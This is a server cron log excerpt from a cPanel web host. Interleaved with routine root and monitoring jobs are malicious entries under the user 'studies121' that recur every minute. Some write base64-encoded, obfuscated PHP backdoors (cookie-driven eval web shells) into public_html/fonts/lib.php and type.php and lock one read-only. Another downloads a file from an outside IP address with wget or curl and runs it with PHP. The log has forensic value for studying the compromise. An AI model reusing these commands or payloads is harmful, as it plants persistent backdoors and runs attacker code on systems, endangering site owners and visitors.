Sep  8 18:41:01 ip-184-168-122-23 CROND[5406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:41:01 ip-184-168-122-23 CROND[5405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:42:01 ip-184-168-122-23 CROND[5676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:42:01 ip-184-168-122-23 CROND[5680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:42:01 ip-184-168-122-23 CROND[5679]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:42:01 ip-184-168-122-23 CROND[5678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:42:01 ip-184-168-122-23 CROND[5681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:43:01 ip-184-168-122-23 CROND[5915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:43:01 ip-184-168-122-23 CROND[5916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:43:01 ip-184-168-122-23 CROND[5919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:43:01 ip-184-168-122-23 CROND[5920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:44:01 ip-184-168-122-23 CROND[6138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:44:01 ip-184-168-122-23 CROND[6141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:44:01 ip-184-168-122-23 CROND[6140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:44:01 ip-184-168-122-23 CROND[6143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:44:01 ip-184-168-122-23 CROND[6142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:45:01 ip-184-168-122-23 CROND[6437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:45:01 ip-184-168-122-23 CROND[6438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:45:01 ip-184-168-122-23 CROND[6445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:45:01 ip-184-168-122-23 CROND[6444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:45:01 ip-184-168-122-23 CROND[6448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:45:01 ip-184-168-122-23 CROND[6450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:46:02 ip-184-168-122-23 CROND[6683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:46:02 ip-184-168-122-23 CROND[6684]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 18:46:02 ip-184-168-122-23 CROND[6686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:46:02 ip-184-168-122-23 CROND[6688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:46:02 ip-184-168-122-23 CROND[6687]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:46:02 ip-184-168-122-23 CROND[6690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:46:02 ip-184-168-122-23 CROND[6692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:47:01 ip-184-168-122-23 CROND[7020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:47:01 ip-184-168-122-23 CROND[7022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:47:01 ip-184-168-122-23 CROND[7023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:47:01 ip-184-168-122-23 CROND[7024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:48:01 ip-184-168-122-23 CROND[7231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:48:01 ip-184-168-122-23 CROND[7233]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:48:01 ip-184-168-122-23 CROND[7235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:48:01 ip-184-168-122-23 CROND[7236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:48:01 ip-184-168-122-23 CROND[7237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:49:01 ip-184-168-122-23 CROND[7401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:49:01 ip-184-168-122-23 CROND[7402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:49:01 ip-184-168-122-23 CROND[7404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:49:01 ip-184-168-122-23 CROND[7403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:50:01 ip-184-168-122-23 CROND[7612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:50:01 ip-184-168-122-23 CROND[7613]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:50:02 ip-184-168-122-23 CROND[7616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:50:02 ip-184-168-122-23 CROND[7617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:50:02 ip-184-168-122-23 CROND[7621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:50:02 ip-184-168-122-23 CROND[7622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:50:02 ip-184-168-122-23 CROND[7619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:50:02 ip-184-168-122-23 CROND[7618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:50:02 ip-184-168-122-23 CROND[7623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:51:01 ip-184-168-122-23 CROND[7843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:51:01 ip-184-168-122-23 CROND[7844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:51:01 ip-184-168-122-23 CROND[7846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:51:01 ip-184-168-122-23 CROND[7847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:52:01 ip-184-168-122-23 CROND[8033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:52:01 ip-184-168-122-23 CROND[8034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:52:01 ip-184-168-122-23 CROND[8036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:52:01 ip-184-168-122-23 CROND[8037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:52:01 ip-184-168-122-23 CROND[8038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:53:01 ip-184-168-122-23 CROND[8254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:53:01 ip-184-168-122-23 CROND[8256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
